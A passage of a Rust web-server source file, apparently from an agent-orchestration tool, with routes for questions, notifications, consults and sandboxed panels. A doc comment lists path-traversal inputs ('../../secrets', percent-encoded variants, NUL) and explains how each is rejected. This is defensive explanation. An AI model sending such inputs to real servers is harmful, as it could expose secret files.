7229    if !comparison.matches_detail(&question.detail) {
7230        return None;
7231    }
7232    let mut ids = std::collections::BTreeSet::new();
7233    if comparison.fields.is_empty()
7234        || comparison
7235            .fields
7236            .iter()
7237            .flat_map(|f| &f.pairs)
7238            .any(|p| !ids.insert(p.id))
7239        || comparison
7240            .fields
7241            .iter()
7242            .flat_map(|f| &f.original_triggers)
7243            .any(|t| !ids.insert(t.id))
7244    {
7245        return None;
7246    }
7247    let fields = comparison
7248        .fields
7249        .iter()
7250        .map(|f| f.view(comparison.excerpt))
7251        .collect::<Option<Vec<_>>>()?;
7252    Some(PostingView {
7253        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7254        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7255        fields,
7256    })
7257}
7258
7259impl QuestionView {
7260    /// The view of `question`, reading who is waiting on it from `store`.
7261    ///
7262    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7263    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7264        let base = md::ImageBase::QuestionPanel {
7265            id: question.id.clone(),
7266        };
7267        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7268        Self {
7269            choice_effects: question
7270                .choices
7271                .iter()
7272                .filter_map(|c| {
7273                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7274                })
7275                .collect(),
7276            record_revision: question_record_revision(&question),
7277            detail_md: md::to_nodes(&question.detail, &base),
7278            posting_view: posting_view(&question, &base),
7279            thread_bodies_md: question
7280                .thread
7281                .iter()
7282                .map(|t| md::to_nodes(&t.body, &base))
7283                .collect(),
7284            thread_notes_md: question
7285                .thread
7286                .iter()
7287                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7288                .collect(),
7289            deputy_exhausted: store.deputy_exhausted(&question),
7290            waiting_on_agent: question.waiting_on_agent(),
7291            holder,
7292            deputies_enabled: deputies_enabled(cfg, &question),
7293            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7294            run_is_task: question.run_names_task(),
7295            origin_chat: None,
7296            origin_chat_closed: false,
7297            can_consult_chat: false,
7298            question,
7299        }
7300    }
7301
7302    /// Fill `origin_chat` from the queue and the talks.
7303    fn with_origin(
7304        mut self,
7305        tasks: &[crate::queue::Task],
7306        talks: &[Talk],
7307        watches: &[crate::release_watch::WatchState],
7308    ) -> Self {
7309        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7310        self.can_consult_chat = consult.is_some();
7311        let talk =
7312            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7313        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7314        self.origin_chat = talk.map(|t| t.id);
7315        self
7316    }
7317}
7318
7319/// The config this repository resolves, or `None` when it cannot be read.
7320/// Discovering is git processes plus a config render, so a request that needs
7321/// it for many items takes it once and passes it down.
7322fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7323    Config::discover(repo, None).ok().map(|(c, _)| c)
7324}
7325
7326/// Can `magi serve` start a deputy for this question under `cfg`?
7327fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7328    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7329}
7330
7331/// The views `GET /api/questions` answers. `load` runs at most once, however
7332/// many questions there are, and not at all when there are none.
7333fn question_views(
7334    qs: Vec<Question>,
7335    store: &ask::Questions,
7336    load: impl FnOnce() -> Option<Config>,
7337) -> Vec<QuestionView> {
7338    if qs.is_empty() {
7339        return Vec::new();
7340    }
7341    let cfg = load();
7342    qs.into_iter()
7343        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7344        .collect()
7345}
7346
7347/// Who is honestly waiting on an open question right now: `"asker"` (the
7348/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7349/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7350/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7351/// up, or the question never had anyone listening (a conductor question or a
7352/// merge approval from before deputies, or not yet given one).
7353///
7354/// `None` for a question that is settled, and for one that is not an agent's
7355/// to wait on at all (a release notice).
7356fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7357    if !q.status.open() {
7358        return None;
7359    }
7360    if q.cwd.is_none()
7361        && q.deputy.is_none()
7362        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7363    {
7364        return crate::deputy::kind_of(q).map(|_| "nobody");
7365    }
7366    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7367        Some(_) if q.deputy.is_some() => "deputy",
7368        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7369        Some(_) => "asker",
7370        None => "nobody",
7371    })
7372}
7373
7374/// `GET /api/questions`.
7375///
7376/// Everything, not just the open ones: an answered question is the record of a
7377/// decision, and the phone is where the operator goes back to check what they
7378/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7379async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7380    blocking(move || {
7381        let questions = ui.questions.list();
7382        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7383        Ok(Json(
7384            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7385                .into_iter()
7386                .map(|view| view.with_origin(&tasks, &talks, &watches))
7387                .collect(),
7388        ))
7389    })
7390    .await
7391}
7392
7393/// Question content and answer controls never wait for task/chat provenance.
7394async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7395    blocking(move || {
7396        Ok(Json(question_views(
7397            ui.questions.list(),
7398            &ui.questions,
7399            || deputy_config(&ui.repo),
7400        )))
7401    })
7402    .await
7403}
7404
7405fn question_record_revision(question: &Question) -> String {
7406    use std::hash::{Hash as _, Hasher as _};
7407    let mut hash = std::hash::DefaultHasher::new();
7408    serde_json::to_vec(question)
7409        .expect("serializable question")
7410        .hash(&mut hash);
7411    format!("{:016x}", hash.finish())
7412}
7413
7414#[derive(Serialize)]
7415struct QuestionOriginView {
7416    id: String,
7417    record_revision: String,
7418    origin_chat: Option<String>,
7419    origin_chat_closed: bool,
7420    can_consult_chat: bool,
7421}
7422
7423async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7424    blocking(move || {
7425        let questions = ui.questions.list();
7426        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7427        Ok(Json(
7428            questions
7429                .into_iter()
7430                .map(|question| {
7431                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7432                    let can_consult_chat = consult.is_some();
7433                    let talk = crate::consult::associated_talk_with_watches(
7434                        &tasks, &talks, &question, &watches,
7435                    );
7436                    QuestionOriginView {
7437                        record_revision: question_record_revision(&question),
7438                        id: question.id,
7439                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7440                        origin_chat: talk.map(|talk| talk.id),
7441                        can_consult_chat,
7442                    }
7443                })
7444                .collect(),
7445        ))
7446    })
7447    .await
7448}
7449
7450type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7451
7452/// Only the task ancestry and chats these questions actually reference. Run
7453/// mappings share the reconciled queue index; exact task references bypass it.
7454/// No question means no task/chat I/O, including no index reconciliation.
7455fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7456    fn task_for_run(
7457        ui: &Ui,
7458        index: &mut Option<Vec<Arc<TaskRelation>>>,
7459        run: &str,
7460        loaded: &HashMap<String, Task>,
7461    ) -> ApiResult<Option<Task>> {
7462        if !plain_record_id(run) {
7463            return Ok(None);
7464        }
7465        if index.is_none() {
7466            *index = Some(ui.indexed_tasks()?);
7467        }
7468        Ok(index
7469            .as_ref()
7470            .expect("loaded index")
7471            .iter()
7472            .find(|task| task.runs.iter().any(|id| id == run))
7473            .and_then(|task| {
7474                loaded
7475                    .get(&task.id)
7476                    .cloned()
7477                    .or_else(|| ui.queue.get(&task.id).ok())
7478            })
7479            .filter(|task| task.runs.iter().any(|id| id == run)))
7480    }
7481    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7482        plain_record_id(id)
7483            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7484            .flatten()
7485            .filter(|task| task.id == id)
7486    };
7487    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7488    let mut index = None;
7489    let mut tasks = HashMap::new();
7490    let mut talks = HashMap::new();
7491    for question in questions {
7492        for reference in crate::consult::question_task_refs(question, &watches) {
7493            let mut current = match reference {
7494                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7495                crate::consult::QuestionTaskRef::Run(id) => {
7496                    task_for_run(ui, &mut index, id, &tasks)?
7497                }
7498            };
7499            let mut seen = HashSet::new();
7500            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7501                let Some(task) = current.take() else {
7502                    break;
7503                };
7504                if !seen.insert(task.id.clone()) {
7505                    break;
7506                }
7507                let chat = task.chat_talk().map(str::to_owned);
7508                let followup = task.followup.clone();
7509                tasks.insert(task.id.clone(), task);
7510                if let Some(chat) = chat {
7511                    if plain_record_id(&chat)
7512                        && !talks.contains_key(&chat)
7513                        && let Ok(talk) = ui.talks.get(&chat)
7514                    {
7515                        talks.insert(chat, talk);
7516                    }
7517                    break;
7518                }
7519                let Some(followup) = followup else {
7520                    break;
7521                };
7522                current = match followup.origin_task {
7523                    Some(id) => direct_task(&id, &tasks),
7524                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7525                };
7526            }
7527        }
7528    }
7529    let mut tasks: Vec<Task> = tasks.into_values().collect();
7530    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7531    Ok((tasks, talks.into_values().collect(), watches))
7532}
7533
7534/// `GET /api/notifications`: not dismissed, newest first, with the unread
7535/// count so the badge and the list cannot disagree.
7536async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7537    blocking(move || {
7538        let items = ui.notices.list();
7539        let unread = items.iter().filter(|n| n.unread()).count();
7540        let items: Vec<_> = items
7541            .into_iter()
7542            .map(|n| {
7543                let question = crate::notices::answerable_question(&n, &ui.questions);
7544                let mut item = serde_json::to_value(n)?;
7545                item["answerable_question"] = serde_json::json!(question);
7546                Ok(item)
7547            })
7548            .collect::<anyhow::Result<_>>()?;
7549        Ok(Json(
7550            serde_json::json!({ "unread": unread, "items": items }),
7551        ))
7552    })
7553    .await
7554}
7555
7556fn notice_error(e: anyhow::Error) -> ApiError {
7557    // An unknown or malformed id and a vanished file are the same answer to
7558    // the phone: that notification is gone.
7559    ApiError::not_found(format!("{e:#}"))
7560}
7561
7562/// `POST /api/notifications/{id}/read`.
7563async fn notification_read(
7564    State(ui): State<Arc<Ui>>,
7565    Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570/// `POST /api/notifications/{id}/dismiss`.
7571async fn notification_dismiss(
7572    State(ui): State<Arc<Ui>>,
7573    Path(id): Path<String>,
7574) -> ApiResult<Json<Notice>> {
7575    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7576}
7577
7578/// `POST /api/notifications/read-all`.
7579async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7580    blocking(move || {
7581        let changed = ui.notices.mark_all_read()?;
7582        Ok(Json(serde_json::json!({ "marked": changed })))
7583    })
7584    .await
7585}
7586
7587/// The body of `POST /api/questions/{id}/answer`.
7588///
7589/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7590/// a bad request rather than a guess: an answer magi invented is worse than a
7591/// question left open.
7592#[derive(Debug, Default, Deserialize)]
7593#[serde(default, deny_unknown_fields)]
7594struct NewAnswer {
7595    choice: Option<String>,
7596    text: Option<String>,
7597    talk: Option<String>,
7598    head: Option<String>,
7599}
7600
7601async fn question_answer(
7602    State(ui): State<Arc<Ui>>,
7603    Path(id): Path<String>,
7604    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7605) -> ApiResult<Json<QuestionView>> {
7606    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7607    let answer = match (body.choice, body.text) {
7608        (Some(c), None) => Answer::Choice(c),
7609        (None, Some(t)) => Answer::Text(t),
7610        (Some(_), Some(_)) => {
7611            return Err(ApiError::bad_request(
7612                "send either `choice` or `text`, not both",
7613            ));
7614        }
7615        (None, None) => {
7616            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7617        }
7618    };
7619
7620    blocking(move || {
7621        let id = resolve_question(&ui.questions, &id)?;
7622        let q = ui
7623            .questions
7624            .get(&id)
7625            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7626        if !q.status.open() {
7627            // Answered from the terminal, or by another phone, in between the
7628            // list and the tap. The UI shows the recorded answer rather than an
7629            // error, so it needs the record, not just the status.
7630            return Err(ApiError::conflict(format!(
7631                "question {} is already {}",
7632                q.short(),
7633                q.status.as_str()
7634            )));
7635        }
7636        // `Question::answer` owns the rules - an unoffered choice, free text on
7637        // a multiple-choice question, an empty reply - so the route does not
7638        // restate them and cannot drift from the CLI's behaviour.
7639        let cfg = deputy_config(&ui.repo);
7640        let (q, ()) = ui
7641            .questions
7642            .update(&q.id, |r| {
7643                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7644                // Buttons retain their displayed chat/head binding. A direct
7645                // decision does not require a button or a prior persona offer.
7646                if r.routed_task.is_some()
7647                    && r.merge_target.is_some()
7648                    && merge
7649                    && (body.talk.is_some() || body.head.is_some())
7650                {
7651                    let talk_id = body
7652                        .talk
7653                        .as_deref()
7654                        .context("approval button requires its chat")?;
7655                    let head = body
7656                        .head
7657                        .as_deref()
7658                        .context("approval button requires the displayed head")?;
7659                    let talk = ui.talks.get(talk_id)?;
7660                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
7661                    r.answer_chat_button(answer, talk_id, head)
7662                } else {
7663                    r.answer(answer)
7664                }
7665            })
7666            .map_err(ApiError::bad_request_from)?;
7667        let (tasks, talks, watches) =
7668            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7669        Ok(Json(
7670            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7671        ))
7672    })
7673    .await
7674}
7675
7676/// A dedicated status avoids the client's settled-question 409 handling.
7677fn question_text_error(e: anyhow::Error) -> ApiError {
7678    let reason = e
7679        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7680        .map(|e| e.reason);
7681    let error = ApiError::bad_request_from(e);
7682    if let Some(reason) = reason {
7683        ApiError {
7684            text_reason: Some(reason),
7685            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7686        }
7687    } else {
7688        error
7689    }
7690}
7691
7692/// The body of `POST /api/questions/{id}/say`.
7693#[derive(Debug, Deserialize)]
7694#[serde(deny_unknown_fields)]
7695struct NewSay {
7696    body: String,
7697}
7698
7699/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7700///
7701/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7702/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7703/// file, so there is no turn to serialize against and no
7704/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7705/// is a *different* process - the run parked behind `magi ask` - and picks
7706/// the reply up on its own poll of the very same file, same as an answer
7707/// does.
7708async fn question_say(
7709    State(ui): State<Arc<Ui>>,
7710    Path(id): Path<String>,
7711    body: std::result::Result<Json<NewSay>, JsonRejection>,
7712) -> ApiResult<Json<QuestionView>> {
7713    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7714    blocking(move || {
7715        let id = resolve_question(&ui.questions, &id)?;
7716        let q = ui
7717            .questions
7718            .get(&id)
7719            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7720        if !q.status.open() {
7721            // Same granularity as `question_answer`: answered or abandoned in
7722            // between the list and the tap is not this route's error to
7723            // explain any differently.
7724            return Err(ApiError::conflict(format!(
7725                "question {} is already {}",
7726                q.short(),
7727                q.status.as_str()
7728            )));
7729        }
7730        // `Question::say` owns the one rule that matters here - an empty
7731        // message tells the agent nothing - so the route does not restate it.
7732        let cfg = deputy_config(&ui.repo);
7733        let (q, ()) = ui
7734            .questions
7735            .update(&q.id, |r| {
7736                if body.body.trim().is_empty() {
7737                    return r.say(body.body);
7738                }
7739                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7740                r.say(body.body)
7741            })
7742            .map_err(question_text_error)?;
7743        let (tasks, talks, watches) =
7744            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7745        Ok(Json(
7746            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7747        ))
7748    })
7749    .await
7750}
7751
7752/// A disconnected request or a replacing listener cannot interrupt the short
7753/// transaction between persistence and detached worker publication.
7754async fn admitted<T: Send + 'static>(
7755    admission: AdmissionGuard,
7756    work: impl Future<Output = ApiResult<T>> + Send + 'static,
7757) -> ApiResult<T> {
7758    tokio::spawn(async move {
7759        let result = work.await;
7760        drop(admission);
7761        result
7762    })
7763    .await
7764    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7765}
7766
7767/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7768/// came from. The question stays open: the chat agent answers it with `magi
7769/// answer`, or puts the decision to the owner in the conversation.
7770///
7771/// Answers 202 and runs the turn in the background, like every route that
7772/// spends agent calls. The text is queued as a draft of the existing talk, and
7773/// the turn goes through the talk's own gate and session; no seat or waiter is
7774/// started here.
7775async fn question_consult(
7776    State(ui): State<Arc<Ui>>,
7777    Path(id): Path<String>,
7778) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7779    let admission = ui.begin_admission()?;
7780    admitted(admission, async move {
7781        let (q, tasks, talks, watches, talk, cfg) = blocking({
7782            let ui = Arc::clone(&ui);
7783            move || {
7784                let id = resolve_question(&ui.questions, &id)?;
7785                let q = ui.questions.get(&id).map_err(|e| {
7786                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7787                })?;
7788                if !q.status.open() {
7789                    return Err(ApiError::conflict(format!(
7790                        "question {} is already {}",
7791                        q.short(),
7792                        q.status.as_str()
7793                    )));
7794                }
7795                let (tasks, talks, watches) =
7796                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7797                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7798                    return Err(ApiError::conflict(format!(
7799                        "question {} has no chat to ask",
7800                        q.short()
7801                    )));
7802                };
7803                // Read the config before `begin` saves anything: a failure here
7804                // must leave no consult record or draft behind, or a retry would
7805                // see `fresh == false` and never start the turn.
7806                let cfg = if q.consult.is_none() {
7807                    Some(Config::discover(&talk.repo, None)?.0)
7808                } else {
7809                    None
7810                };
7811                Ok((q, tasks, talks, watches, talk, cfg))
7812            }
7813        })
7814        .await?;
7815        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7816            .await
7817            .map_err(ApiError::from)?;
7818        let (view, reclaimed, submitted) = blocking({
7819            let ui = Arc::clone(&ui);
7820            move || {
7821                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7822                let claim = if fresh {
7823                    match ui.begin_queued_talk_turn(&talk.id)? {
7824                        Some(turn_guard) => {
7825                            let talk = ui.talks.get(&talk.id)?;
7826                            let cfg = match cfg {
7827                                Some(cfg) => cfg,
7828                                None => Config::discover(&talk.repo, None)?.0,
7829                            };
7830                            Some((talk, cfg, turn_guard))
7831                        }
7832                        None => None,
7833                    }
7834                } else {
7835                    None
7836                };
7837                let q = ui.questions.get(&q.id)?;
7838                let cfg = deputy_config(&ui.repo);
7839                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7840                    .with_origin(&tasks, &talks, &watches);
7841                Ok((view, claim, fresh.then_some(talk.id)))
7842            }
7843        })
7844        .await?;
7845        #[cfg(not(test))]
7846        {
7847            if let Some(id) = submitted {
7848                crate::consult::spawn_turn(&ui.talks, &id)
7849                    .await
7850                    .map_err(ApiError::from)?;
7851            }
7852            drop(reclaimed);
7853        }
7854        #[cfg(test)]
7855        let _ = submitted;
7856        #[cfg(test)]
7857        if let Some((talk, cfg, turn_guard)) = reclaimed {
7858            let talks = ui.talks.clone();
7859            let id = talk.id.clone();
7860            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7861        }
7862        Ok((StatusCode::ACCEPTED, Json(view)))
7863    })
7864    .await
7865}
7866
7867/// Expand an id or short id to exactly one question id.
7868fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7869    if plain_record_id(id) && store.path_of(id).is_file() {
7870        return Ok(id.to_owned());
7871    }
7872    pick(
7873        store.list().into_iter().map(|q| q.id).collect(),
7874        id,
7875        "question",
7876    )
7877}
7878
7879/// `GET /api/questions/{id}/panel`.
7880///
7881/// The panel an agent wrote for this question, as `text/html` under
7882/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7883/// A question without one is a 404 rather than an empty page: the client
7884/// preflights this route with `HEAD` and must be able to tell "no panel" from
7885/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7886/// parent document so it cannot tell the difference by looking.
7887///
7888/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7889/// sanitises or minifies it - a sanitiser is a list of things someone thought
7890/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7891/// is the direction that stays safe when an agent writes markup nobody
7892/// predicted.
7893async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7894    blocking(move || {
7895        let id = resolve_question(&ui.questions, &id)?;
7896        let Some(html) = ui.questions.panel_html(&id) else {
7897            return Err(ApiError::not_found(format!("question {id} has no panel")));
7898        };
7899        Ok(panel_response(
7900            "text/html; charset=utf-8",
7901            false,
7902            html.into_bytes(),
7903        ))
7904    })
7905    .await
7906}
7907
7908/// `GET /api/questions/{id}/asset/{name}`.
7909///
7910/// One file from the question's own panel directory, so a panel can show a
7911/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7912/// having to allow anything off this machine.
7913///
7914/// This is the only route in the server where a client names a file, so it is
7915/// the only one with a traversal surface, and the name is checked by
7916/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7917/// what is worth being explicit about, because the answer is not "all of it in
7918/// one place":
7919///
7920/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7921///   the raw request path and `{name}` spans exactly one segment, so a real
7922///   slash makes the request too long for the route and the router answers 404.
7923/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7924///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7925///   `..\secrets` respectively, which look like plain filenames to the router.
7926///   The validator refuses them here - both for the literal `..` and because
7927///   `/` and `\` are not in the permitted character set - and answers 400.
7928/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7929///   the platform's path API is not, and it is refused here for the same
7930///   reason: NUL is not a permitted character.
7931/// * [`Questions::panel_asset`] validates again on read, so the check is not
7932///   load-bearing in only one place. This route's own check exists so the
7933///   failure is a 400 that says which name was wrong, rather than a store error
7934///   the operator has to interpret.
7935async fn question_asset(
7936    State(ui): State<Arc<Ui>>,
7937    Path((id, name)): Path<(String, String)>,
7938) -> ApiResult<Response> {
7939    // Before any filesystem work and before any path is built: a name this
7940    // server will not serve should not become a `PathBuf` at all.
7941    if !crate::ask::valid_asset_name(&name) {
7942        return Err(ApiError::bad_request(format!(
7943            "`{name}` is not a usable asset name"
7944        )));
7945    }
7946    blocking(move || {
7947        let id = resolve_question(&ui.questions, &id)?;
7948        let asset = ui
7949            .questions
7950            .panel_asset(&id, &name)
7951            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7952        let Some(bytes) = asset else {
7953            return Err(ApiError::not_found(format!(
7954                "question {id} has no asset `{name}`"
7955            )));
7956        };
7957        Ok(panel_response(
7958            asset_content_type(&name),
7959            is_svg(&name),
7960            bytes,
7961        ))
7962    })
7963    .await
7964}
7965
7966/// Content type for a panel asset, from a closed whitelist.
7967///
7968/// A whitelist with an `application/octet-stream` fallback rather than a
7969/// guess, because the one answer that must never come out of here is
7970/// `text/html`. An agent that writes `notes.html` into its panel directory and
7971/// links it would otherwise get its own markup rendered at the top level of the
7972/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7973/// magi's origin - which is precisely the thing the panel design exists to
7974/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7975///
7976/// `nosniff` accompanies this on every response, so a browser cannot decide it
7977/// knows better than the type we sent.
7978fn asset_content_type(name: &str) -> &'static str {
7979    match extension(name).as_deref() {
7980        Some("png") => "image/png",
7981        Some("jpg" | "jpeg") => "image/jpeg",
7982        Some("gif") => "image/gif",
7983        Some("webp") => "image/webp",
7984        Some("svg") => "image/svg+xml",
7985        Some("css") => "text/css; charset=utf-8",
7986        Some("txt") => "text/plain; charset=utf-8",
7987        _ => "application/octet-stream",
7988    }
7989}
7990
7991/// Is this an SVG, and therefore a file that must never be opened at the top
7992/// level?
7993fn is_svg(name: &str) -> bool {
7994    extension(name).as_deref() == Some("svg")
7995}
7996
7997/// Lowercased extension, or `None` for a name without one.
7998fn extension(name: &str) -> Option<String> {
7999    name.rsplit_once('.')
8000        .map(|(_, ext)| ext.to_ascii_lowercase())
8001}
8002
8003/// Every panel response, with the four headers that make it safe and, for an
8004/// SVG, a fifth.
8005///
8006/// One function rather than a header list per handler, because a panel route
8007/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8008/// model gone, silently, on one of two routes. Adding a third panel route later
8009/// means calling this, and there is nowhere else to build a panel response.
8010///
8011/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8012/// as an `<img src>` inside the panel that script cannot run - but the asset
8013/// URL is also a plain URL an operator can be talked into opening in a tab,
8014/// where it is a document on magi's own origin. `Content-Disposition:
8015/// attachment` makes the browser download it instead of rendering it, which
8016/// closes that door without taking away the ability to draw a diff. Raster
8017/// images have no such execution surface and are left inline, so tapping a
8018/// screenshot still shows it.
8019fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8020    let mut res = (
8021        [
8022            (header::CONTENT_TYPE, content_type),
8023            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8024            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8025            (header::REFERRER_POLICY, "no-referrer"),
8026        ],
8027        body,
8028    )
8029        .into_response();
8030    if download {
8031        res.headers_mut().insert(
8032            header::CONTENT_DISPOSITION,
8033            HeaderValue::from_static("attachment"),
8034        );
8035    }
8036    res
8037}
8038
8039/// A talk as the phone reads it.
8040///
8041/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8042/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8043/// parses markdown itself - and the process-local `thinking` hint.
8044#[derive(Debug, Serialize)]
8045struct ChatApproval {
8046    question: String,
8047    target: crate::merge_decision::Target,
8048}
8049
8050#[derive(Debug, Serialize)]
8051struct TalkView {
8052    #[serde(flatten)]
8053    talk: Talk,
8054    turn_bodies_md: Vec<Vec<md::Node>>,
8055    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8056    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8057    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8058    merge_approvals: Vec<ChatApproval>,
8059    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8060    /// this server process.
8061    ///
8062    /// This is deliberately not durable: another server process cannot see
8063    /// it, and a restarted server must not claim an old turn is live. It is a
8064    /// progress hint rather than proof a reply landed; the transcript remains
8065    /// the source of truth for that.
8066    thinking: bool,
8067    /// Context-window usage, derived per request - see
8068    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8069    /// and each mutation) so the phone needs no extra call or polling.
8070    context: talk::ContextUsage,
8071    /// `[talk] operator_name`, when configured; the Chat labels the
8072    /// operator's turns with it.
8073    operator_name: Option<String>,
8074    /// The active persona's display name; `None` for the default voice.
8075    persona_name: Option<String>,
8076    /// URL of the avatar for the conversation's persona (the default voice
8077    /// included). Server-built; a configured `icon` never reaches the client.
8078    persona_avatar: String,
8079    /// Operator avatar; display only and independent of repository config.
8080    operator_avatar: String,
8081    magi_avatar: String,
8082}
8083
8084impl TalkView {
8085    /// Reads the talk's repository config itself; a config that cannot be
8086    /// read leaves the window unknown but never fails the conversation.
8087    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8088        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8089        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8090    }
8091
8092    /// As [`Self::new`], with the config already in hand (the list reads one
8093    /// per repository, not one per conversation).
8094    fn with_config(
8095        talk: Talk,
8096        thinking: bool,
8097        cfg: Option<&Config>,
8098        home: &FsPath,
8099        cache: &id_links::IndexCache,
8100    ) -> Self {
8101        let references = cache.for_talk(home, &talk);
8102        Self::with_references(talk, thinking, cfg, home, &references)
8103    }
8104
8105    fn with_references(
8106        mut talk: Talk,
8107        thinking: bool,
8108        cfg: Option<&Config>,
8109        home: &FsPath,
8110        references: &id_links::IdIndex,
8111    ) -> Self {
8112        // This owned value is the display DTO; never write it back to the talk store.
8113        let snapshot = talk.clone();
8114        for (index, turn) in talk.turns.iter_mut().enumerate() {
